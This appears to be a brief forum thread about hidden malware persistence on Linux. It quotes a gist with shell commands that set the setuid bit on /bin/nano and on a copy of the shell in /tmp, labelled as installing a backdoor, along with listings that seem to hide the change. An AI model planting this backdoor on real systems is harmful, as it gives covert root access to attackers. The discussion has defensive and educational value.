Seriously. If this company was surprised to discover the use of cron for the malware, imagine what kind of stuff they might have missed.
Here's a particularly creative technique I recently came across: https://gist.github.com/dergachev/7916152
Here's a particularly creative technique I recently came across: https://gist.github.com/dergachev/7916152
From your gist:-
ls -al /bin/nano # -rwxr-xr-x 1 root root 191976 2010-02-01 20:30 /bin/nano
chmod u+s /bin/nano # installs the backdoor
ls -al /bin/nano # -rwxr-xr-x 1 root root 191976 2010-02-01 20:30 /bin/nano
# whoami
root
# ls -l /tmp/sh
-rwxr-xr-x 1 root root 109736 2014-01-16 16:20 /tmp/sh
# chmod u+s /tmp/sh
# ls -l /tmp/sh
-rwsr-xr-x 1 root root 109736 2014-01-16 16:20 /tmp/sh
# chmod u-s /tmp/sh
# ls -l /tmp/sh
-rwxr-xr-x 1 root root 109736 2014-01-16 16:20 /tmp/sh